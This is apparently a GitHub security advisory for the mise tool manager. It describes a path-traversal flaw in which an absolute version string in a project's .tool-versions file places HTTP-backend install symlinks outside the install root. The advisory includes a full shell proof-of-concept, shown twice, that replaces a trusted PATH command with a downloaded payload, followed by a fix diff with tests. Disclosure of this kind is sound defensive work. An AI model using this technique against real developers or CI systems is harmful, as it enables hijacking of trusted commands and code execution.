Find a vulnerability
Search criteria
Related vulnerabilities
GHSA-F94H-J2QG-FXW3
Vulnerability from github – Published: 2026-06-23 18:13 – Updated: 2026-06-23 18:13Summary
The mise HTTP backend builds its install symlink destination from the raw resolved version string for non-latest versions. Normal tool install paths use the sanitized version pathname, but the HTTP backend's symlink path uses the raw value. On Unix-like systems, if that version is an absolute path, PathBuf::join discards the intended mise installs root.
A repository-controlled .tool-versions file can therefore make mise install create a symlink outside the mise install tree. With bin_path, the same issue can place an executable symlink under an attacker-selected absolute prefix, such as a developer-tool prefix that is later added to PATH.
The reproducer below also models a CI/developer workflow where a later step executes a preexisting trusted command from a user-local PATH prefix. The absolute-version HTTP entry replaces that command with a symlink to downloaded HTTP content. A non-absolute version control does not replace the trusted PATH command.
Affected Code
In src/backend/http.rs, create_install_symlink() derives the destination path from raw tv.version:
let version_name = if tv.version == "latest" || tv.version.is_empty() {
&cache_key[..7.min(cache_key.len())]
} else {
&tv.version
};
let install_path = tv.ba().installs_path.join(version_name);
ToolVersion::tv_pathname() already sanitizes : and / for filesystem version directory names, but this HTTP backend path does not use it.
Impact
Proven:
- Outside-root symlink creation from a repository-controlled
.tool-versionsentry. - Executable symlink materialization under an attacker-selected absolute prefix when
bin_pathis configured. - The executable symlink can be run if that prefix's
bindirectory is onPATH. - Replacement of a preexisting command in a trusted
PATHprefix in a local workflow-chain model, followed by execution of the replaced command by name.
Not claimed:
mise installdoes not automatically execute the placed binary in the reproducer.- Windows drive-letter absolute paths are not claimed; the demonstrated impact is Unix-like path behavior.
- Credential theft is not claimed.
Why This Crosses A Boundary
.tool-versions is an asdf-compatible project file and is parsed without the mise.toml trust gate used for configuration features that can execute code or affect the environment. Even if a project can choose tools to install, an install operation should keep HTTP backend materialization under the selected mise install/cache roots unless the user explicitly performs a trusted link or path operation.
The HTTP backend documentation describes HTTP tool installations as symlinks under the mise installs directory, for example:
$MISE_DATA_DIR/installs/http-my-tool/1.0.0 -> $MISE_CACHE_DIR/http-tarballs/...
The observed behavior instead allows the project version string to choose an absolute install destination.
Reproduction
The script below performs three local checks:
- It creates a
.tool-versionsentry whose HTTP backend version is an absolute path, then confirms that mise creates a symlink at that outside path. - It creates a second HTTP backend entry with
bin_path=binand confirms that mise places an executable symlink under an attacker-selected absolute prefix and that the symlink is executable when the prefix'sbindirectory is onPATH. - It creates a preexisting trusted command in a user-local
PATHprefix, runsmise installfrom a project.tool-versionsfile, and confirms the later trusted command execution is replaced only in the absolute-version case. A non-absolute version control leaves the preexisting command in place.
The script uses a loopback HTTP server and temporary directories only.
#!/bin/sh
set -eu
if ! command -v mise >/dev/null 2>&1; then
echo "mise must be on PATH" >&2
exit 1
fi
if ! command -v python3 >/dev/null 2>&1; then
echo "python3 must be on PATH for the loopback HTTP server" >&2
exit 1
fi
ROOT="$(mktemp -d)"
OUT="$ROOT/out"
DATA="$ROOT/data"
CACHE="$ROOT/cache"
STATE="$ROOT/state"
CONFIG="$ROOT/config"
WWW="$ROOT/www"
cleanup() {
if [ -n "${SERVER_PID:-}" ]; then
kill "$SERVER_PID" 2>/dev/null || true
fi
rm -rf "$ROOT"
}
trap cleanup EXIT
mkdir -p "$OUT" "$DATA" "$CACHE" "$STATE" "$CONFIG" "$WWW"
cat > "$WWW/payload" <<'PAYLOAD'
#!/bin/sh
if [ -n "${CHAIN_MARKER:-}" ]; then
echo ATTACKER_CONTROLLED_TRUSTED_COMMAND > "$CHAIN_MARKER"
else
echo MISE_HTTP_ABSOLUTE_VERSION_EXECUTED > "$MISE_HTTP_ABSOLUTE_VERSION_MARKER"
fi
PAYLOAD
chmod +x "$WWW/payload"
(
cd "$WWW"
python3 -m http.server 54321 --bind 127.0.0.1 >/dev/null 2>&1
) &
SERVER_PID=$!
sleep 1
PROJECT1="$ROOT/project-host-write"
mkdir -p "$PROJECT1"
cat > "$PROJECT1/.tool-versions" <<EOF1
http:absolute-version-one[url=http://127.0.0.1:54321/payload,bin=owned-one] $OUT/owned-link
EOF1
(
cd "$PROJECT1"
MISE_DATA_DIR="$DATA" \
MISE_CACHE_DIR="$CACHE" \
MISE_STATE_DIR="$STATE" \
MISE_CONFIG_DIR="$CONFIG" \
MISE_YES=1 \
mise install --yes
)
if [ ! -L "$OUT/owned-link" ]; then
echo "FAIL: outside symlink was not created" >&2
exit 1
fi
PROJECT2="$ROOT/project-bin-path"
mkdir -p "$PROJECT2"
cat > "$PROJECT2/.tool-versions" <<EOF2
http:absolute-version-two[url=http://127.0.0.1:54321/payload,bin=ownedcmd,bin_path=bin] $OUT/selected-prefix
EOF2
rm -rf "$DATA" "$CACHE" "$STATE" "$CONFIG"
mkdir -p "$DATA" "$CACHE" "$STATE" "$CONFIG"
(
cd "$PROJECT2"
MISE_DATA_DIR="$DATA" \
MISE_CACHE_DIR="$CACHE" \
MISE_STATE_DIR="$STATE" \
MISE_CONFIG_DIR="$CONFIG" \
MISE_YES=1 \
mise install --yes
)
if [ ! -L "$OUT/selected-prefix/bin/ownedcmd" ]; then
echo "FAIL: executable symlink was not created under selected prefix" >&2
exit 1
fi
MARKER="$OUT/executed-marker"
MISE_HTTP_ABSOLUTE_VERSION_MARKER="$MARKER" \
PATH="$OUT/selected-prefix/bin:$PATH" \
ownedcmd
if ! grep -q MISE_HTTP_ABSOLUTE_VERSION_EXECUTED "$MARKER"; then
echo "FAIL: executable symlink did not run" >&2
exit 1
fi
echo "VULNERABLE_BEHAVIOR_CONFIRMED"
echo "outside symlink: $OUT/owned-link -> $(readlink "$OUT/owned-link")"
echo "path executable: $OUT/selected-prefix/bin/ownedcmd -> $(readlink "$OUT/selected-prefix/bin/ownedcmd")"
run_path_chain_case() {
case_name="$1"
version="$2"
expected="$3"
CASE_ROOT="$ROOT/$case_name"
HOME_DIR="$CASE_ROOT/home"
CASE_DATA="$CASE_ROOT/data"
CASE_CACHE="$CASE_ROOT/cache"
CASE_STATE="$CASE_ROOT/state"
CASE_CONFIG="$CASE_ROOT/config"
CASE_PROJECT="$CASE_ROOT/project"
CASE_MARKER="$CASE_ROOT/marker"
if [ "$version" = "__HOME_LOCAL_PREFIX__" ]; then
version="$HOME_DIR/.local"
fi
mkdir -p "$HOME_DIR/.local/bin" "$CASE_DATA" "$CASE_CACHE" "$CASE_STATE" "$CASE_CONFIG" "$CASE_PROJECT"
cat > "$HOME_DIR/.local/bin/trustedcmd" <<'SAFE'
#!/bin/sh
echo SAFE_PREEXISTING_TRUSTED_COMMAND > "$CHAIN_MARKER"
SAFE
chmod +x "$HOME_DIR/.local/bin/trustedcmd"
cat > "$CASE_PROJECT/.tool-versions" <<EOF3
http:path-chain[url=http://127.0.0.1:54321/payload,bin=trustedcmd,bin_path=bin] $version
EOF3
(
cd "$CASE_PROJECT"
HOME="$HOME_DIR" \
MISE_DATA_DIR="$CASE_DATA" \
MISE_CACHE_DIR="$CASE_CACHE" \
MISE_STATE_DIR="$CASE_STATE" \
MISE_CONFIG_DIR="$CASE_CONFIG" \
MISE_YES=1 \
mise install --yes
)
CHAIN_MARKER="$CASE_MARKER" \
PATH="$HOME_DIR/.local/bin:$PATH" \
trustedcmd
observed="$(cat "$CASE_MARKER")"
if [ "$observed" != "$expected" ]; then
echo "FAIL: $case_name expected $expected but saw $observed" >&2
exit 1
fi
if [ "$case_name" = "path-chain-vulnerable" ] && [ ! -L "$HOME_DIR/.local/bin/trustedcmd" ]; then
echo "FAIL: path-chain case did not replace trustedcmd with a symlink" >&2
exit 1
fi
}
run_path_chain_case path-chain-vulnerable "__HOME_LOCAL_PREFIX__" ATTACKER_CONTROLLED_TRUSTED_COMMAND
run_path_chain_case path-chain-control "1.0.0" SAFE_PREEXISTING_TRUSTED_COMMAND
echo "PATH_CHAIN_CONFIRMED"
Expected vulnerable markers:
VULNERABLE_BEHAVIOR_CONFIRMED
PATH_CHAIN_CONFIRMED
Candidate Fix
Use tv.tv_pathname() for non-latest HTTP install symlink names, preserving the current content-addressed behavior for latest or empty versions.
diff --git a/src/backend/http.rs b/src/backend/http.rs
index 4e4e972..18cf8a1 100644
--- a/src/backend/http.rs
+++ b/src/backend/http.rs
@@ -518,12 +518,12 @@ impl HttpBackend {
// Determine version name for install path
let version_name = if tv.version == "latest" || tv.version.is_empty() {
- &cache_key[..7.min(cache_key.len())] // Content-based versioning
+ cache_key[..7.min(cache_key.len())].to_string() // Content-based versioning
} else {
- &tv.version
+ tv.tv_pathname()
};
- let install_path = tv.ba().installs_path.join(version_name);
+ let install_path = tv.ba().installs_path.join(&version_name);
// Clean up existing install
if install_path.exists() {
@@ -839,3 +839,51 @@ impl Backend for HttpBackend {
}
}
}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+ use crate::cli::args::{BackendArg, BackendResolution};
+ use crate::toolset::{ToolRequest, ToolSource, ToolVersionOptions};
+
+ fn http_test_tv(version: &str) -> ToolVersion {
+ let backend = Arc::new(BackendArg::new_raw(
+ "http-absolute-version".to_string(),
+ Some("http:absolute-version".to_string()),
+ "absolute-version".to_string(),
+ None,
+ BackendResolution::new(true),
+ ));
+ let request = ToolRequest::Version {
+ backend,
+ version: version.to_string(),
+ options: ToolVersionOptions::default(),
+ source: ToolSource::Argument,
+ };
+ ToolVersion::new(request, version.to_string())
+ }
+
+ #[test]
+ fn install_symlink_path_uses_sanitized_version_pathname() {
+ let tv = http_test_tv("/outside-root/mise-http-version-out/selected-prefix");
+
+ assert_eq!(
+ tv.tv_pathname(),
+ "-outside-root-mise-http-version-out-selected-prefix"
+ );
+ assert!(!Path::new(&tv.tv_pathname()).is_absolute());
+ }
+
+ #[test]
+ fn latest_install_symlink_still_uses_content_version() {
+ let tv = http_test_tv("latest");
+ let cache_key = "abcdef123456";
+ let version_name = if tv.version == "latest" || tv.version.is_empty() {
+ cache_key[..7.min(cache_key.len())].to_string()
+ } else {
+ tv.tv_pathname()
+ };
+
+ assert_eq!(version_name, "abcdef1");
+ }
+}
Reporter: JUNYI LIU
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.5.16"
},
"package": {
"ecosystem": "crates.io",
"name": "mise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54557"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T18:13:53Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe mise HTTP backend builds its install symlink destination from the raw resolved version string for non-latest versions. Normal tool install paths use the sanitized version pathname, but the HTTP backend\u0027s symlink path uses the raw value. On Unix-like systems, if that version is an absolute path, `PathBuf::join` discards the intended mise installs root.\n\nA repository-controlled `.tool-versions` file can therefore make `mise install` create a symlink outside the mise install tree. With `bin_path`, the same issue can place an executable symlink under an attacker-selected absolute prefix, such as a developer-tool prefix that is later added to `PATH`.\n\nThe reproducer below also models a CI/developer workflow where a later step executes a preexisting trusted command from a user-local `PATH` prefix. The absolute-version HTTP entry replaces that command with a symlink to downloaded HTTP content. A non-absolute version control does not replace the trusted `PATH` command.\n\n## Affected Code\n\nIn `src/backend/http.rs`, `create_install_symlink()` derives the destination path from raw `tv.version`:\n\n```rust\nlet version_name = if tv.version == \"latest\" || tv.version.is_empty() {\n \u0026cache_key[..7.min(cache_key.len())]\n} else {\n \u0026tv.version\n};\n\nlet install_path = tv.ba().installs_path.join(version_name);\n```\n\n`ToolVersion::tv_pathname()` already sanitizes `:` and `/` for filesystem version directory names, but this HTTP backend path does not use it.\n\n## Impact\n\nProven:\n\n- Outside-root symlink creation from a repository-controlled `.tool-versions` entry.\n- Executable symlink materialization under an attacker-selected absolute prefix when `bin_path` is configured.\n- The executable symlink can be run if that prefix\u0027s `bin` directory is on `PATH`.\n- Replacement of a preexisting command in a trusted `PATH` prefix in a local workflow-chain model, followed by execution of the replaced command by name.\n\nNot claimed:\n\n- `mise install` does not automatically execute the placed binary in the reproducer.\n- Windows drive-letter absolute paths are not claimed; the demonstrated impact is Unix-like path behavior.\n- Credential theft is not claimed.\n\n## Why This Crosses A Boundary\n\n`.tool-versions` is an asdf-compatible project file and is parsed without the `mise.toml` trust gate used for configuration features that can execute code or affect the environment. Even if a project can choose tools to install, an install operation should keep HTTP backend materialization under the selected mise install/cache roots unless the user explicitly performs a trusted link or path operation.\n\nThe HTTP backend documentation describes HTTP tool installations as symlinks under the mise installs directory, for example:\n\n```text\n$MISE_DATA_DIR/installs/http-my-tool/1.0.0 -\u003e $MISE_CACHE_DIR/http-tarballs/...\n```\n\nThe observed behavior instead allows the project version string to choose an absolute install destination.\n\n## Reproduction\n\nThe script below performs three local checks:\n\n1. It creates a `.tool-versions` entry whose HTTP backend version is an absolute path, then confirms that mise creates a symlink at that outside path.\n2. It creates a second HTTP backend entry with `bin_path=bin` and confirms that mise places an executable symlink under an attacker-selected absolute prefix and that the symlink is executable when the prefix\u0027s `bin` directory is on `PATH`.\n3. It creates a preexisting trusted command in a user-local `PATH` prefix, runs `mise install` from a project `.tool-versions` file, and confirms the later trusted command execution is replaced only in the absolute-version case. A non-absolute version control leaves the preexisting command in place.\n\nThe script uses a loopback HTTP server and temporary directories only.\n\n```sh\n#!/bin/sh\nset -eu\n\nif ! command -v mise \u003e/dev/null 2\u003e\u00261; then\n echo \"mise must be on PATH\" \u003e\u00262\n exit 1\nfi\n\nif ! command -v python3 \u003e/dev/null 2\u003e\u00261; then\n echo \"python3 must be on PATH for the loopback HTTP server\" \u003e\u00262\n exit 1\nfi\n\nROOT=\"$(mktemp -d)\"\nOUT=\"$ROOT/out\"\nDATA=\"$ROOT/data\"\nCACHE=\"$ROOT/cache\"\nSTATE=\"$ROOT/state\"\nCONFIG=\"$ROOT/config\"\nWWW=\"$ROOT/www\"\n\ncleanup() {\n if [ -n \"${SERVER_PID:-}\" ]; then\n kill \"$SERVER_PID\" 2\u003e/dev/null || true\n fi\n rm -rf \"$ROOT\"\n}\ntrap cleanup EXIT\n\nmkdir -p \"$OUT\" \"$DATA\" \"$CACHE\" \"$STATE\" \"$CONFIG\" \"$WWW\"\n\ncat \u003e \"$WWW/payload\" \u003c\u003c\u0027PAYLOAD\u0027\n#!/bin/sh\nif [ -n \"${CHAIN_MARKER:-}\" ]; then\n echo ATTACKER_CONTROLLED_TRUSTED_COMMAND \u003e \"$CHAIN_MARKER\"\nelse\n echo MISE_HTTP_ABSOLUTE_VERSION_EXECUTED \u003e \"$MISE_HTTP_ABSOLUTE_VERSION_MARKER\"\nfi\nPAYLOAD\nchmod +x \"$WWW/payload\"\n\n(\n cd \"$WWW\"\n python3 -m http.server 54321 --bind 127.0.0.1 \u003e/dev/null 2\u003e\u00261\n) \u0026\nSERVER_PID=$!\nsleep 1\n\nPROJECT1=\"$ROOT/project-host-write\"\nmkdir -p \"$PROJECT1\"\ncat \u003e \"$PROJECT1/.tool-versions\" \u003c\u003cEOF1\nhttp:absolute-version-one[url=http://127.0.0.1:54321/payload,bin=owned-one] $OUT/owned-link\nEOF1\n\n(\n cd \"$PROJECT1\"\n MISE_DATA_DIR=\"$DATA\" \\\n MISE_CACHE_DIR=\"$CACHE\" \\\n MISE_STATE_DIR=\"$STATE\" \\\n MISE_CONFIG_DIR=\"$CONFIG\" \\\n MISE_YES=1 \\\n mise install --yes\n)\n\nif [ ! -L \"$OUT/owned-link\" ]; then\n echo \"FAIL: outside symlink was not created\" \u003e\u00262\n exit 1\nfi\n\nPROJECT2=\"$ROOT/project-bin-path\"\nmkdir -p \"$PROJECT2\"\ncat \u003e \"$PROJECT2/.tool-versions\" \u003c\u003cEOF2\nhttp:absolute-version-two[url=http://127.0.0.1:54321/payload,bin=ownedcmd,bin_path=bin] $OUT/selected-prefix\nEOF2\n\nrm -rf \"$DATA\" \"$CACHE\" \"$STATE\" \"$CONFIG\"\nmkdir -p \"$DATA\" \"$CACHE\" \"$STATE\" \"$CONFIG\"\n\n(\n cd \"$PROJECT2\"\n MISE_DATA_DIR=\"$DATA\" \\\n MISE_CACHE_DIR=\"$CACHE\" \\\n MISE_STATE_DIR=\"$STATE\" \\\n MISE_CONFIG_DIR=\"$CONFIG\" \\\n MISE_YES=1 \\\n mise install --yes\n)\n\nif [ ! -L \"$OUT/selected-prefix/bin/ownedcmd\" ]; then\n echo \"FAIL: executable symlink was not created under selected prefix\" \u003e\u00262\n exit 1\nfi\n\nMARKER=\"$OUT/executed-marker\"\nMISE_HTTP_ABSOLUTE_VERSION_MARKER=\"$MARKER\" \\\nPATH=\"$OUT/selected-prefix/bin:$PATH\" \\\nownedcmd\n\nif ! grep -q MISE_HTTP_ABSOLUTE_VERSION_EXECUTED \"$MARKER\"; then\n echo \"FAIL: executable symlink did not run\" \u003e\u00262\n exit 1\nfi\n\necho \"VULNERABLE_BEHAVIOR_CONFIRMED\"\necho \"outside symlink: $OUT/owned-link -\u003e $(readlink \"$OUT/owned-link\")\"\necho \"path executable: $OUT/selected-prefix/bin/ownedcmd -\u003e $(readlink \"$OUT/selected-prefix/bin/ownedcmd\")\"\n\nrun_path_chain_case() {\n case_name=\"$1\"\n version=\"$2\"\n expected=\"$3\"\n\n CASE_ROOT=\"$ROOT/$case_name\"\n HOME_DIR=\"$CASE_ROOT/home\"\n CASE_DATA=\"$CASE_ROOT/data\"\n CASE_CACHE=\"$CASE_ROOT/cache\"\n CASE_STATE=\"$CASE_ROOT/state\"\n CASE_CONFIG=\"$CASE_ROOT/config\"\n CASE_PROJECT=\"$CASE_ROOT/project\"\n CASE_MARKER=\"$CASE_ROOT/marker\"\n\n if [ \"$version\" = \"__HOME_LOCAL_PREFIX__\" ]; then\n version=\"$HOME_DIR/.local\"\n fi\n\n mkdir -p \"$HOME_DIR/.local/bin\" \"$CASE_DATA\" \"$CASE_CACHE\" \"$CASE_STATE\" \"$CASE_CONFIG\" \"$CASE_PROJECT\"\n cat \u003e \"$HOME_DIR/.local/bin/trustedcmd\" \u003c\u003c\u0027SAFE\u0027\n#!/bin/sh\necho SAFE_PREEXISTING_TRUSTED_COMMAND \u003e \"$CHAIN_MARKER\"\nSAFE\n chmod +x \"$HOME_DIR/.local/bin/trustedcmd\"\n\n cat \u003e \"$CASE_PROJECT/.tool-versions\" \u003c\u003cEOF3\nhttp:path-chain[url=http://127.0.0.1:54321/payload,bin=trustedcmd,bin_path=bin] $version\nEOF3\n\n (\n cd \"$CASE_PROJECT\"\n HOME=\"$HOME_DIR\" \\\n MISE_DATA_DIR=\"$CASE_DATA\" \\\n MISE_CACHE_DIR=\"$CASE_CACHE\" \\\n MISE_STATE_DIR=\"$CASE_STATE\" \\\n MISE_CONFIG_DIR=\"$CASE_CONFIG\" \\\n MISE_YES=1 \\\n mise install --yes\n )\n\n CHAIN_MARKER=\"$CASE_MARKER\" \\\n PATH=\"$HOME_DIR/.local/bin:$PATH\" \\\n trustedcmd\n\n observed=\"$(cat \"$CASE_MARKER\")\"\n if [ \"$observed\" != \"$expected\" ]; then\n echo \"FAIL: $case_name expected $expected but saw $observed\" \u003e\u00262\n exit 1\n fi\n\n if [ \"$case_name\" = \"path-chain-vulnerable\" ] \u0026\u0026 [ ! -L \"$HOME_DIR/.local/bin/trustedcmd\" ]; then\n echo \"FAIL: path-chain case did not replace trustedcmd with a symlink\" \u003e\u00262\n exit 1\n fi\n}\n\nrun_path_chain_case path-chain-vulnerable \"__HOME_LOCAL_PREFIX__\" ATTACKER_CONTROLLED_TRUSTED_COMMAND\nrun_path_chain_case path-chain-control \"1.0.0\" SAFE_PREEXISTING_TRUSTED_COMMAND\n\necho \"PATH_CHAIN_CONFIRMED\"\n```\n\nExpected vulnerable markers:\n\n```text\nVULNERABLE_BEHAVIOR_CONFIRMED\nPATH_CHAIN_CONFIRMED\n```\n\n## Candidate Fix\n\nUse `tv.tv_pathname()` for non-latest HTTP install symlink names, preserving the current content-addressed behavior for `latest` or empty versions.\n\n```diff\ndiff --git a/src/backend/http.rs b/src/backend/http.rs\nindex 4e4e972..18cf8a1 100644\n--- a/src/backend/http.rs\n+++ b/src/backend/http.rs\n@@ -518,12 +518,12 @@ impl HttpBackend {\n\n // Determine version name for install path\n let version_name = if tv.version == \"latest\" || tv.version.is_empty() {\n- \u0026cache_key[..7.min(cache_key.len())] // Content-based versioning\n+ cache_key[..7.min(cache_key.len())].to_string() // Content-based versioning\n } else {\n- \u0026tv.version\n+ tv.tv_pathname()\n };\n\n- let install_path = tv.ba().installs_path.join(version_name);\n+ let install_path = tv.ba().installs_path.join(\u0026version_name);\n\n // Clean up existing install\n if install_path.exists() {\n@@ -839,3 +839,51 @@ impl Backend for HttpBackend {\n }\n }\n }\n+\n+#[cfg(test)]\n+mod tests {\n+ use super::*;\n+ use crate::cli::args::{BackendArg, BackendResolution};\n+ use crate::toolset::{ToolRequest, ToolSource, ToolVersionOptions};\n+\n+ fn http_test_tv(version: \u0026str) -\u003e ToolVersion {\n+ let backend = Arc::new(BackendArg::new_raw(\n+ \"http-absolute-version\".to_string(),\n+ Some(\"http:absolute-version\".to_string()),\n+ \"absolute-version\".to_string(),\n+ None,\n+ BackendResolution::new(true),\n+ ));\n+ let request = ToolRequest::Version {\n+ backend,\n+ version: version.to_string(),\n+ options: ToolVersionOptions::default(),\n+ source: ToolSource::Argument,\n+ };\n+ ToolVersion::new(request, version.to_string())\n+ }\n+\n+ #[test]\n+ fn install_symlink_path_uses_sanitized_version_pathname() {\n+ let tv = http_test_tv(\"/outside-root/mise-http-version-out/selected-prefix\");\n+\n+ assert_eq!(\n+ tv.tv_pathname(),\n+ \"-outside-root-mise-http-version-out-selected-prefix\"\n+ );\n+ assert!(!Path::new(\u0026tv.tv_pathname()).is_absolute());\n+ }\n+\n+ #[test]\n+ fn latest_install_symlink_still_uses_content_version() {\n+ let tv = http_test_tv(\"latest\");\n+ let cache_key = \"abcdef123456\";\n+ let version_name = if tv.version == \"latest\" || tv.version.is_empty() {\n+ cache_key[..7.min(cache_key.len())].to_string()\n+ } else {\n+ tv.tv_pathname()\n+ };\n+\n+ assert_eq!(version_name, \"abcdef1\");\n+ }\n+}\n```\n\nReporter: JUNYI LIU",
"id": "GHSA-f94h-j2qg-fxw3",
"modified": "2026-06-23T18:13:53Z",
"published": "2026-06-23T18:13:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jdx/mise/security/advisories/GHSA-f94h-j2qg-fxw3"
},
{
"type": "PACKAGE",
"url": "https://github.com/jdx/mise"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "mise HTTP backend uses raw version path for install symlink destination"
}